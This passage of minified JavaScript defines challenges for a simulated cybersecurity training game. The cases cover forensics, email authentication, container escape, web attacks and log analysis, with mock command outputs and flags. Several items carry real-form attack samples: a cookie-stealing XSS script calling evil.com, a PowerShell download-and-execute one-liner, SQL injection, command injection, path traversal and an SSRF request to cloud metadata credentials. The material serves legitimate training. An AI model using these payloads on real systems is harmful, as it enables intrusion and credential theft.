FLAG{UNSH4R3_Y0UR_SN4PSH0TS}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{UNSH4R3_Y0UR_SN4PSH0TS}")),successMessage:"Data Leak Prevented! The production database snapshot was publicly restorable."},{id:"ctf-306",title:"Case 306: CloudTrail Log Analysis",description:"Suspicious activity detected. Analyze CloudTrail logs to find who deleted the backup.",objective:"Filter CloudTrail events for `DeleteBucket` calls.",difficulty:"Hard",xp:450,osType:"cloud",estimatedTime:"12 min",skills:["Log Analysis","Incident Response"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=DeleteBucket":`EventId: 12345, Username: 'contractor-dev', EventTime: '2024-01-17T10:00:00', Resource: 'critical-backup-bucket'
FLAG{CL0UD_TR41L_N3V3R_L13S}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{CL0UD_TR41L_N3V3R_L13S}")),successMessage:"Culprit Identified! Use CloudTrail to track every API call in your account."},{id:"ctf-401",title:"Case 401: Plaintext FTP Creds",description:"We intercepted traffic from a legacy server. Analyze the PCAP to find the credentials.",objective:"Read the `capture.pcap` using `tcpdump` (mock) to find the FTP login.",difficulty:"Easy",xp:150,osType:"network",estimatedTime:"5 min",skills:["Packet Analysis","FTP Insecurity"],initialFileSystem:{"/home/user":{type:"dir",children:{"capture.pcap":{type:"file",content:"[Binary PCAP Data]"}}}},customCommands:{"tcpdump -r capture.pcap":`IP 192.168.1.10.54321 > 10.0.0.5.21: Flags [P.], length 14: USER admin
IP 10.0.0.5.21 > 192.168.1.10.54321: Flags [P.], length 20: 331 Password required
IP 192.168.1.10.54321 > 10.0.0.5.21: Flags [P.], length 22: PASS FLAG{FTP_1S_CL34R_T3XT}
IP 10.0.0.5.21 > 192.168.1.10.54321: Flags [P.], length 18: 230 Login successful`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{FTP_1S_CL34R_T3XT}")),successMessage:"Credentials Sniffed! FTP sends passwords in clear text. Always use SFTP or FTPS."},{id:"ctf-402",title:"Case 402: DNS Exfiltration",description:"Unusual DNS queries detected. The attacker is tunneling data via DNS TXT records. Decode the message.",objective:"Identify the suspicious domain and reading the TXT record content.",difficulty:"Medium",xp:300,osType:"network",estimatedTime:"10 min",skills:["DNS Analysis","Data Exfiltration"],initialFileSystem:{"/home/user":{type:"dir",children:{"dns_logs.txt":{type:"file",content:"[DNS Query Logs]"}}}},customCommands:{"cat dns_logs.txt":`query: google.com A
query: RkxBR3tETlNfVFVOTkVMSU5HX0lTX1NURUFMVEhZfQ==.evil-dns.com TXT
query: facebook.com A`,"base64 -d RkxBR3tETlNfVFVOTkVMSU5HX0lTX1NURUFMVEhZfQ==":"FLAG{DNS_TUNNELING_IS_STEALTHY}"},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("RkxBR3tETlNfVFVOTkVMSU5HX0lTX1NURUFMVEhZfQ==")),successMessage:"Exfiltration Blocked! The attacker hid base64 encoded data in DNS subdomains."},{id:"ctf-403",title:"Case 403: ARP Spoofing Detection",description:"Users are reporting connection errors. The ARP table looks suspicious. Identify the Man-in-the-Middle.",objective:"Check the ARP table for duplicate MAC addresses.",difficulty:"Easy",xp:200,osType:"network",estimatedTime:"5 min",skills:["ARP Spoofing","MITM"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"arp -a":`? (192.168.1.1) at 00:11:22:33:44:55 [ether] on eth0
? (192.168.1.50) at 00:11:22:33:44:55 [ether] on eth0 (DUPLICATE MAC!)
? (192.168.1.100) at aa:bb:cc:dd:ee:ff [ether] on eth0`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("00:11:22:33:44:55")&&e.includes("DUPLICATE")),successMessage:"MITM Detected! Gateway (1.1) and User (1.50) have the same MAC address. This is ARP spoofing."},{id:"ctf-404",title:"Case 404: HTTP Traffic Analysis",description:"A web server was attacked. Analyze the HTTP requests to find the malicious payload.",objective:"Search the `http.log` for suspicious User-Agent strings or URL payloads.",difficulty:"Medium",xp:250,osType:"network",estimatedTime:"8 min",skills:["Web Traffic Analysis","Log Forensics"],initialFileSystem:{"/home/user":{type:"dir",children:{"http.log":{type:"file",content:"..."}}}},customCommands:{"grep 'User-Agent' http.log":`User-Agent: Mozilla/5.0...
User-Agent: sqlmap/1.4.11 (Automatic SQL Injection Tool)
User-Agent: Mozilla/5.0...`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("sqlmap")),successMessage:"Attacker Tool Identified! Traffic from 'sqlmap' indicates an automated SQL injection attempt."},{id:"ctf-405",title:"Case 405: Telnet Session Capture",description:"Someone used Telnet inside the network. Reconstruct the session to see what commands they ran.",objective:"Analyze `session.pcap`.",difficulty:"Easy",xp:150,osType:"network",estimatedTime:"5 min",skills:["Protocol Analysis","Legacy Protocols"],initialFileSystem:{"/home/user":{type:"dir",children:{"session.pcap":{type:"file",content:"..."}}}},customCommands:{"strings session.pcap":`login: admin
Password: admin123
cat /etc/passwd
whoami
FLAG{T3LN3T_1S_D34D}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{T3LN3T_1S_D34D}")),successMessage:"Session Reconstructed! Telnet sends everything, including keystrokes, in clear text."},{id:"ctf-406",title:"Case 406: C2 Beaconing Pattern",description:"Identify the Command & Control (C2) beaconing interval from the firewall logs.",objective:"Analyze `firewall.log` for regular connection attempts to a specific IP.",difficulty:"Hard",xp:400,osType:"network",estimatedTime:"12 min",skills:["Traffic Analysis","Threat Hunting"],initialFileSystem:{"/home/user":{type:"dir",children:{"firewall.log":{type:"file",content:"..."}}}},customCommands:{"head -n 20 firewall.log":`10:00:00 OUTBOUND 10.0.0.5 -> 45.33.22.11:443
10:05:00 OUTBOUND 10.0.0.5 -> 45.33.22.11:443
10:10:00 OUTBOUND 10.0.0.5 -> 45.33.22.11:443
10:15:00 OUTBOUND 10.0.0.5 -> 45.33.22.11:443
FLAG{5_M1NUT3_B34C0N_1NT3RV4L}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{5_M1NUT3_B34C0N_1NT3RV4L}")),successMessage:"Beacon Identified! The malware calls home exactly every 5 minutes."},{id:"ctf-501",title:"Case 501: Process Listing",description:"A machine is infected. We dumped its RAM. List the running processes to find the malware.",objective:"Use `volatility pslist` to find the suspicious process name.",difficulty:"Medium",xp:300,osType:"memory",estimatedTime:"10 min",skills:["Volatility","Malware Identification"],initialFileSystem:{"/home/user":{type:"dir",children:{"memdump.raw":{type:"file",content:"[RAM Dump]"}}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 pslist":`Offset    Name          PID   PPID
...       svchost.exe   800   600
...       explorer.exe  1200  1100
...       evil_backdoor.exe 4444  1200 (Suspicious!)
...       chrome.exe    5000  1200`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("evil_backdoor.exe")),successMessage:"Malware Found in RAM! 'evil_backdoor.exe' was running with PID 4444."},{id:"ctf-502",title:"Case 502: Command Line Extraction",description:"You found the process. Now find what arguments it was launched with.",objective:"Use `volatility cmdline` to check the arguments of the suspicious process.",difficulty:"Medium",xp:300,osType:"memory",estimatedTime:"8 min",skills:["Volatility","Process Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 cmdline":`Pid: 4444
Command: evil_backdoor.exe --connect 10.10.10.5 --port 1337 --flag FLAG{M3M0RY_R3V34LS_4LL}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{M3M0RY_R3V34LS_4LL}")),successMessage:"Command Line Recovered! The malware connects to 10.10.10.5 on port 1337."},{id:"ctf-503",title:"Case 503: Network Connections (Netscan)",description:"Analyze active network connections at the time of the memory dump.",objective:"Use `volatility netscan` to find established connections.",difficulty:"Medium",xp:350,osType:"memory",estimatedTime:"10 min",skills:["Volatility","Netscan"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 netscan":`Offset   Proto  Local Addr    Foreign Addr    State    PID
...      TCP    192.168.1.10:49222 185.22.33.44:443 ESTABLISHED 4444`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("185.22.33.44")),successMessage:"Connection Traced! The malware (PID 4444) was communicating with 185.22.33.44."},{id:"ctf-504",title:"Case 504: Injected Code (Malfind)",description:"The attacker might have injected code into a legitimate process (svchost.exe). Scan for injections.",objective:"Use `volatility malfind` to identify memory regions with executable permissions.",difficulty:"Hard",xp:450,osType:"memory",estimatedTime:"12 min",skills:["Volatility","Code Injection Detection"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 malfind -p 800":`Process: svchost.exe Pid: 800 Address: 0x123456
Protection: PAGE_EXECUTE_READWRITE
Hexdump:
4d 5a 90 00 ... MZ..
FLAG{1NJ3CT3D_C0D3_D3T3CT3D}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{1NJ3CT3D_C0D3_D3T3CT3D}")),successMessage:"Code Injection Confirmed! Found executable memory page in svchost.exe with MZ header."},{id:"ctf-505",title:"Case 505: Registry in Memory (HiveList)",description:"The registry hives are loaded in memory. List them to find the address of the SYSTEM hive.",objective:"Use `volatility hivelist` to find the virtual offset of the SYSTEM hive.",difficulty:"Hard",xp:400,osType:"memory",estimatedTime:"10 min",skills:["Volatility","Registry Forensics"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 hivelist":`Virtual    Name
0xffff...  \\Device\\HarddiskVolume1\\Windows\\System32\\config\\SYSTEM
0xffff...  \\Device\\HarddiskVolume1\\Windows\\System32\\config\\SAM`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("config\\SYSTEM")),successMessage:"Hive Offset Found! Registry hives are critical for recovering passwords from memory."},{id:"ctf-506",title:"Case 506: Password Hash Dump (Hashdump)",description:"You have the registry hive addresses. Now dump the NTLM hashes from memory.",objective:"Use `volatility hashdump` with the hive offsets to extract password hashes.",difficulty:"Hard",xp:500,osType:"memory",estimatedTime:"15 min",skills:["Volatility","Credential Dumping"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"volatility -f memdump.raw --profile=Win10x64 hashdump":`Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
FLAG{H4SH3S_PULL3D_FR0M_R4M}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{H4SH3S_PULL3D_FR0M_R4M}")),successMessage:"Hashes Dumped! You successfully extracted the NTLM hash for the Administrator account."},{id:"ctf-601",title:"Case 601: Docker Socket Exposure",description:"This container has access to the host's Docker socket. This is a fatal flaw. Escape the container.",objective:"Check for `/var/run/docker.sock` and verify you can list host containers.",difficulty:"Easy",xp:250,osType:"container",estimatedTime:"5 min",skills:["Container Escape","Docker Socket"],initialFileSystem:{"/home/user":{type:"dir",children:{}},"/var/run":{type:"dir",children:{"docker.sock":{type:"file",content:"[Socket File]"}}}},customCommands:{"ls -l /var/run/docker.sock":"srw-rw---- 1 root docker 0 Jan 17 12:00 /var/run/docker.sock","docker ps":`CONTAINER ID   IMAGE         COMMAND
a1b2c3d4e5f6   ubuntu:latest /bin/bash (Host Container)
FLAG{D0CK3R_S0CK_1S_D4NG3R0US}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{D0CK3R_S0CK_1S_D4NG3R0US}")),successMessage:"Socket Escape! Access to the docker socket gives you root access to the host."},{id:"ctf-602",title:"Case 602: Privileged Container",description:"This container runs with `--privileged`. Check if you can access host devices.",objective:"List the host's hard drives using `fdisk -l`.",difficulty:"Medium",xp:300,osType:"container",estimatedTime:"8 min",skills:["Privileged Mode","Device Access"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"fdisk -l":`Disk /dev/sda: 50 GiB
Device     Boot   Start       End   Sectors  Size Id Type
/dev/sda1  *       2048 104857599 104855552  50G 83 Linux
FLAG{PR1V1L3G3D_M0D3_BR34KS_1S0L4T10N}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{PR1V1L3G3D_M0D3_BR34KS_1S0L4T10N}")),successMessage:"Privileged Access Confirmed! You can see the host's raw disk devices."},{id:"ctf-603",title:"Case 603: Kubernetes Service Token",description:"The default service account token is mounted. Retrieve it to authenticate with the K8s API.",objective:"Read the token at `/run/secrets/kubernetes.io/serviceaccount/token`.",difficulty:"Easy",xp:200,osType:"container",estimatedTime:"5 min",skills:["Kubernetes","Service Accounts"],initialFileSystem:{"/run":{type:"dir",children:{secrets:{type:"dir",children:{"kubernetes.io":{type:"dir",children:{serviceaccount:{type:"dir",children:{token:{type:"file",content:"eyJhbGciOiJSUzI1NiIsImtpZ... (JWT Token) ...FLAG{K8S_T0K3N_L34K}"},"ca.crt":{type:"file",content:"-----BEGIN CERTIFICATE-----..."}}}}}}}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{K8S_T0K3N_L34K}")),successMessage:"Token Secured! This token allows you to talk to the Kubernetes API server."},{id:"ctf-604",title:"Case 604: Sensitive Environment Vars",description:"Developers often pass secrets as environment variables. Check the container's environment.",objective:"Run `env` or `printenv` to see if any secrets were passed.",difficulty:"Easy",xp:150,osType:"container",estimatedTime:"3 min",skills:["Environment Enumeration","Secrets Management"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{env:`HOSTNAME=a1b2c3d4
HOME=/root
MYSQL_ROOT_PASSWORD=FLAG{ENV_V4RS_4R3_N0T_S3CR3T}
PATH=/usr/local/sbin:/usr/local/bin...`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{ENV_V4RS_4R3_N0T_S3CR3T}")),successMessage:"Secret Found in ENV! Environment variables can be easily inspected by anyone with access to the container."},{id:"ctf-605",title:"Case 605: Capabilities Analysis",description:"This container has the `CAP_SYS_ADMIN` capability. Verify this using `capsh`.",objective:"Run `capsh --print` to list the current capabilities.",difficulty:"Medium",xp:300,osType:"container",estimatedTime:"8 min",skills:["Linux Capabilities","Container Hardening"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"capsh --print":`Current: = cap_chown,cap_dac_override,cap_sys_admin+ep
Bounding set =...
FLAG{C4P_SYS_4DM1N_1S_R00T}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("cap_sys_admin")),successMessage:"Dangerous Capability! CAP_SYS_ADMIN is practically root equivalent."},{id:"ctf-606",title:"Case 606: Host Filesystem Mount",description:"The host's root filesystem is mounted into the container. Find where it is mounted and access the host's shadow file.",objective:"Navigate to `/host_mnt/etc` and read `shadow`.",difficulty:"Hard",xp:450,osType:"container",estimatedTime:"10 min",skills:["Mount Escape","Host Access"],initialFileSystem:{"/host_mnt":{type:"dir",children:{etc:{type:"dir",children:{shadow:{type:"file",content:`root:$6$...:19000:0:99999:7:::
FLAG{M0UNT_3SC4P3_SUCC3SS}`},passwd:{type:"file",content:"root:x:0:0:root:/root:/bin/bash"}}}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{M0UNT_3SC4P3_SUCC3SS}")),successMessage:"Critical Volume Mount! Mounting the host root allows complete takeover."},{id:"ctf-701",title:"Case 701: SPF Record Missing",description:"An employee received a suspicious email from 'admin@yourcompany.com'. Check the domain's SPF record to see if the sender's IP is authorized.",objective:"Run `dig txt yourcompany.com` to check the SPF record.",difficulty:"Easy",xp:150,osType:"linux",estimatedTime:"5 min",skills:["Email Authentication","DNS Lookup"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"dig txt yourcompany.com":`;; ANSWER SECTION:
yourcompany.com.	300	IN	TXT	"v=spf1 include:_spf.google.com ~all"
FLAG{SPF_S0FT_F41L_D3T3CT3D}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{SPF_S0FT_F41L_D3T3CT3D}")),successMessage:"SPF Checked! A soft fail (~all) means the email might be marked as spam but isn't strictly rejected."},{id:"ctf-702",title:"Case 702: DKIM Signature Forgery",description:"Examine the email headers in `suspicious.eml` to verify the DKIM signature. The attacker may have altered the body.",objective:"Read `suspicious.eml` and find the broken DKIM signature message.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"8 min",skills:["DKIM Analysis","Email Headers"],initialFileSystem:{"/home/user":{type:"dir",children:{"suspicious.eml":{type:"file",content:`Authentication-Results: mx.google.com; dkim=neutral (body hash did not verify) header.i=@company.com;
From: boss@company.com
To: finance@company.com
Subject: Wire Transfer

FLAG{DK1M_B0DY_H4SH_F41L3D}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{DK1M_B0DY_H4SH_F41L3D}")),successMessage:"DKIM Verified! The body hash didn't match, indicating the email content was altered in transit."},{id:"ctf-703",title:"Case 703: DMARC Policy Enforcement",description:"Check the domain's DMARC policy to see what happens to emails that fail SPF or DKIM.",objective:"Run `dig txt _dmarc.targetdomain.com`.",difficulty:"Easy",xp:200,osType:"linux",estimatedTime:"5 min",skills:["DMARC Analysis","DNS Lookup"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"dig txt _dmarc.targetdomain.com":`;; ANSWER SECTION:
_dmarc.targetdomain.com.	300	IN	TXT	"v=DMARC1; p=reject; rua=mailto:dmarc@targetdomain.com"
FLAG{DM4RC_P0L1CY_R3J3CT}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{DM4RC_P0L1CY_R3J3CT}")),successMessage:"DMARC Checked! The policy 'p=reject' protects the domain from unauthorized senders by dropping failing emails."},{id:"ctf-704",title:"Case 704: Homograph Attack",description:"An email contains a link to what looks like 'paypal.com'. Inspect the raw HTML file to find the true URL.",objective:"Read `phishing.html` and find the hidden IDN (Internationalized Domain Name) target.",difficulty:"Medium",xp:300,osType:"linux",estimatedTime:"8 min",skills:["Phishing Analysis","HTML Inspection"],initialFileSystem:{"/home/user":{type:"dir",children:{"phishing.html":{type:"file",content:`<html><body>
<p>Your account is locked!</p>
<a href="http://www.xn--pypal-4qa.com/login">Click here to secure your account: www.paypal.com</a>
<!-- FLAG{H0M0GR4PH_D0M41N_SP00F} -->
</body></html>`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{H0M0GR4PH_D0M41N_SP00F}")),successMessage:"Homograph Detected! The link actually points to xn--pypal-4qa.com (pàypal.com), not the real PayPal."},{id:"ctf-705",title:"Case 705: Malicious Macro Attachment",description:"A user downloaded an invoice. Check the file signature or metadata to see if it's safe.",objective:"Run `file invoice.doc` to analyze the attachment type.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"5 min",skills:["File Analysis","Malware Identification"],initialFileSystem:{"/home/user":{type:"dir",children:{"invoice.doc":{type:"file",content:"[Binary Data]"}}}},customCommands:{"file invoice.doc":`invoice.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: Invoice, Macros present
FLAG{M4CR0S_1N_D0CUM3NT}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{M4CR0S_1N_D0CUM3NT}")),successMessage:"Macro Found! The document contains embedded macros, a common vector for dropping malware."},{id:"ctf-706",title:"Case 706: Reply-To Exploitation",description:"Analyze the headers of `support_ticket.eml`. The From address looks legitimate, but where do replies go?",objective:"Read `support_ticket.eml` and identify the mismatched Reply-To address.",difficulty:"Easy",xp:200,osType:"linux",estimatedTime:"5 min",skills:["Header Analysis","Email spoofing"],initialFileSystem:{"/home/user":{type:"dir",children:{"support_ticket.eml":{type:"file",content:`From: IT Support <it-support@company.com>
To: employee@company.com
Reply-To: it-support.company@gmail.com
Subject: Password Reset Required

FLAG{R3PLY_T0_M1SM4TCH}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{R3PLY_T0_M1SM4TCH}")),successMessage:"Discrepancy Caught! The From address was spoofed, but hitting Reply would send the user's details to an attacker's Gmail account."},{id:"ctf-801",title:"Case 801: Blind SQL Injection",description:"A login page is suspected of being vulnerable to Blind SQL Injection. Analyze the server logs to confirm if data was extracted.",objective:"Search `access.log` for time-based SQL injection payloads (like WAITFOR DELAY or sleep).",difficulty:"Hard",xp:400,osType:"linux",estimatedTime:"10 min",skills:["SQL Injection","Log Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{"access.log":{type:"file",content:`10.0.0.1 - - [17/Jan/2024:10:00:00] "GET /login.php?user=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- HTTP/1.1" 200
FLAG{BL1ND_SQL1_T1M3_B4S3D}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{BL1ND_SQL1_T1M3_B4S3D}")),successMessage:"SQLi Confirmed! The attacker used a time-delay payload to extract data character by character."},{id:"ctf-802",title:"Case 802: Stored XSS Payload",description:"Users are reporting their session cookies are being stolen after visiting the forum. Find the malicious payload in the database dump.",objective:"Grep the `forum_dump.sql` for `<script>` tags.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"8 min",skills:["Cross-Site Scripting","Database Analysis"],initialFileSystem:{"/home/user":{type:"dir",children:{"forum_dump.sql":{type:"file",content:`INSERT INTO posts (id, author, content) VALUES (1, 'admin', 'Welcome to the forum!');
INSERT INTO posts (id, author, content) VALUES (2, 'hacker', 'Great site! <script>fetch("http://evil.com/steal?cookie=" + document.cookie)<\/script> FLAG{ST0R3D_XSS_P4YL04D}');`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{ST0R3D_XSS_P4YL04D}")),successMessage:"Payload Located! The attacker injected a script that runs every time someone views that forum post."},{id:"ctf-803",title:"Case 803: Local File Inclusion (LFI)",description:"The web application allows users to select a language via a URL parameter (`?lang=en.php`). Check if it's vulnerable to path traversal.",objective:"Simulate an LFI attack by issuing a `curl` command to read `/etc/passwd`.",difficulty:"Medium",xp:300,osType:"linux",estimatedTime:"5 min",skills:["Path Traversal","LFI"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"curl http://localhost/index.php?lang=../../../../etc/passwd":`root:x:0:0:root:/root:/bin/bash
FLAG{LF1_P4TH_TR4V3RS4L}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{LF1_P4TH_TR4V3RS4L}")),successMessage:"Vulnerability Confirmed! Always sanitize user input before passing it to file inclusion functions."},{id:"ctf-804",title:"Case 804: Command Injection",description:"A network troubleshooting tool on the website lets users ping an IP. Check if you can inject executing bash commands.",objective:"Run a `curl` command with a payload that executes `whoami` via the ping utility.",difficulty:"Medium",xp:350,osType:"linux",estimatedTime:"5 min",skills:["Command Injection","Web Exploitation"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{"curl -X POST http://localhost/ping.php -d 'ip=8.8.8.8; whoami'":`PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
www-data
FLAG{C0MM4ND_1NJ3CT10N_RCE}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{C0MM4ND_1NJ3CT10N_RCE}")),successMessage:"RCE Achieved! By appending a semicolon, you broke out of the ping command and executed 'whoami'."},{id:"ctf-805",title:"Case 805: Insecure Direct Object Reference (IDOR)",description:"The application fetches user profiles using an ID parameter (`/api/profile?id=1001`). Try to view another user's profile.",objective:"Use `curl` to access profile ID `1` (which belongs to the admin).",difficulty:"Easy",xp:200,osType:"linux",estimatedTime:"5 min",skills:["IDOR","API Security"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{'curl "http://localhost/api/profile?id=1"':'{"id": 1, "role": "admin", "email": "admin@company.com", "secret": "FLAG{1D0R_4CC3SS_GR4NT3D}"}'},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{1D0R_4CC3SS_GR4NT3D}")),successMessage:"IDOR Discovered! The API checks if the user is logged in, but fails to check if they have permission to view *that specific* ID."},{id:"ctf-806",title:"Case 806: Server-Side Request Forgery (SSRF)",description:"The web app has a feature to fetch an external image URL. See if you can force the server to fetch an internal AWS metadata URL.",objective:"Run a `curl` request to pass the AWS metadata IP to the fetch endpoint.",difficulty:"Hard",xp:450,osType:"cloud",estimatedTime:"8 min",skills:["SSRF","Cloud Security"],initialFileSystem:{"/home/user":{type:"dir",children:{}}},customCommands:{'curl "http://localhost/fetch_image.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"':`IAMRole-EC2-Admin
FLAG{SSRF_M3T4D4T4_ST0L3N}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{SSRF_M3T4D4T4_ST0L3N}")),successMessage:"SSRF Exploited! The server naively fetched the internal metadata IP, leaking the IAM credentials."},{id:"ctf-901",title:"Case 901: Impossible Travel",description:"A user logged in from New York, and 10 minutes later, logged in from Moscow. Analyze the VPN logs to find the compromised account.",objective:"Search `vpn.log` for anomalous login locations.",difficulty:"Easy",xp:150,osType:"linux",estimatedTime:"5 min",skills:["SIEM","Log Analysis","Impossible Travel"],initialFileSystem:{"/home/user":{type:"dir",children:{"vpn.log":{type:"file",content:`10:00 AM - User: j.doe - IP: 198.51.100.1 (New York, US) - Status: Success
10:10 AM - User: j.doe - IP: 45.33.22.11 (Moscow, RU) - Status: Success
FLAG{1MP0SS1BL3_TR4V3L_D3T3CT3D}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{1MP0SS1BL3_TR4V3L_D3T3CT3D}")),successMessage:"Account Compromise Detected! Nobody can travel from New York to Moscow in 10 minutes."},{id:"ctf-902",title:"Case 902: Brute Force Correlation",description:"A server is under attack. Correlate the failed logins to find the source IP.",objective:"Grep `auth.log` to find the IP with the most 'Failed password' attempts.",difficulty:"Medium",xp:250,osType:"linux",estimatedTime:"8 min",skills:["Log Correlation","Brute Force"],initialFileSystem:{"/home/user":{type:"dir",children:{"auth.log":{type:"file",content:`Failed password for root from 203.0.113.50
Failed password for admin from 203.0.113.50
Failed password for user from 203.0.113.50
FLAG{C0RR3L4T10N_1S_K3Y}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{C0RR3L4T10N_1S_K3Y}")),successMessage:"Brute Force Identified! The IP 203.0.113.50 is systematically guessing passwords."},{id:"ctf-903",title:"Case 903: Data Exfiltration Spike",description:"The SIEM dashboard shows a sudden spike in outbound traffic. Find the destination IP.",objective:"Search `firewall.log` for connections with large 'bytes_out' values.",difficulty:"Medium",xp:300,osType:"linux",estimatedTime:"10 min",skills:["Traffic Analysis","Data Exfiltration"],initialFileSystem:{"/home/user":{type:"dir",children:{"firewall.log":{type:"file",content:`SRC: 10.0.0.5 DST: 8.8.8.8 bytes_out: 500
SRC: 10.0.0.10 DST: 185.199.108.153 bytes_out: 5000000000
FLAG{M4SS1V3_3XF1LTR4T10N}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{M4SS1V3_3XF1LTR4T10N}")),successMessage:"Exfiltration Caught! Machine 10.0.0.10 sent 5GB of data to an unknown external IP."},{id:"ctf-904",title:"Case 904: Privilege Escalation Alerts",description:"A standard user suddenly gained admin rights. Find the Windows Event ID 4728 (Member Added to Security-Enabled Global Group).",objective:"Search `security_events.log` for Event ID 4728 and identify the escalated account.",difficulty:"Hard",xp:350,osType:"linux",estimatedTime:"12 min",skills:["Windows Event Logs","Privilege Escalation"],initialFileSystem:{"/home/user":{type:"dir",children:{"security_events.log":{type:"file",content:`Event ID: 4624 - Logon Success - User: helpdesk_bob
Event ID: 4728 - A member was added to a security-enabled global group. Member: helpdesk_bob Group: Domain Admins
FLAG{UN4UTH0R1Z3D_4DM1N}`}}}},customCommands:{},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{UN4UTH0R1Z3D_4DM1N}")),successMessage:"Escalation Detected! The user 'helpdesk_bob' was improperly added to the Domain Admins group."},{id:"ctf-905",title:"Case 905: Malicious PowerShell Execution",description:"An EDR alert fired for suspicious PowerShell activity. Find the encoded command in the logs.",objective:"Search `sysmon.log` for 'powershell.exe -Enc' and decode the payload.",difficulty:"Hard",xp:400,osType:"linux",estimatedTime:"15 min",skills:["Sysmon Analysis","PowerShell Deobfuscation"],initialFileSystem:{"/home/user":{type:"dir",children:{"sysmon.log":{type:"file",content:"Process Create: powershell.exe -Enc SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9wYXlsb2FkLnBzMScp"}}}},customCommands:{"echo 'SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9wYXlsb2FkLnBzMScp' | base64 -d":`IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')
FLAG{B4S364_P0W3RSH3LL}`},checkCondition:(s,i,o,t)=>t.some(e=>e.includes("FLAG{B4S364_P0W3RSH3LL}")),successMessage:"Payload Decoded! The attacker used Base64 encoding to hide a command that downloads a malicious script."},{id:"ctf-906",title:"Case 906: Malware Beaconing",description:"Analyze proxy logs to find a host that connects to the same external IP at exact, repeating intervals (beaconing).",objective:"Analyze `proxy.log` for repetitive connections.",difficulty:"Hard",xp:450,osType:"linux",estimatedTime:"15 min",skills:["Threat Hunting","Beaconing Detection"],initialFileSystem:{"/home/user":{type:"dir",children:{"proxy.log":{type:"file",content:`08:00:01 - 10.0.0.5 -> 88.33.22.11
08:05:01 - 10.0.0.5 -> 88.33.22.11
08:10:01 - 10.0.0.5 -> 88.33.22.11
